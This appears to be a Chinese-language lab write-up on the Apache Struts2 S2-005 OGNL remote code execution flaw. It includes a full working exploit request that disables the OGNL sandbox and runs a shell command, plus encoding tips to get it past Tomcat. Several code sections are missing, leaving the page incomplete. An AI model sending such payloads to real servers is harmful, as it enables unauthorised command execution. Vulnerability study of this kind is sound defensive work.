GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
Host: target:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
S2-005 远程代码执行漏洞
影响版本:2.0.0 - 2.1.8.1
漏洞详情:http://struts.apache.org/docs/s2-005.html
原理
参考吴翰清的《白帽子讲 Web 安全》一书。
XWork 会将 GET 参数的键和值利用 OGNL 表达式解析成 Java 语句,如:
触发漏洞就是利用了这个点,再配合 OGNL 的沙盒绕过方法,组成了 S2-003。官方对 003 的修复方法是增加了安全模式(沙盒),S2-005 在 OGNL 表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:
环境
执行以下命令启动 s2-001 测试环境
POC && EXP
执行任意命令 POC(无回显,空格用 @ 代替)
网上一些 POC 放到 tomcat8 下会返回 400,研究了一下发现字符 \、" 不能直接放 path 里,需要 urlencode,编码以后再发送就好了。这个 POC 没回显。
POC 用到了 OGNL 的 Expression Evaluation:
大概可以理解为,(aaa)(bbb) 中 aaa 作为 OGNL 表达式字符串,bbb 作为该表达式的 root 对象,所以一般 aaa 位置如果需要执行代码,需要用引号包裹起来,而 bbb 位置可以直接放置 Java 语句。(aaa)(bbb)=true 实际上就是 aaa=true。不过确切怎么理解,还需要深入研究,有待优化。
期待大佬研究出有回显的 POC。
执行任意命令 POC(有回显,将需要执行的命令进行 urlencode 编码)